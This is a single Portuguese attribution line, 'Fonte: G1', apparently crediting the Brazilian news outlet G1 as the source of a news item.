Fonte: G1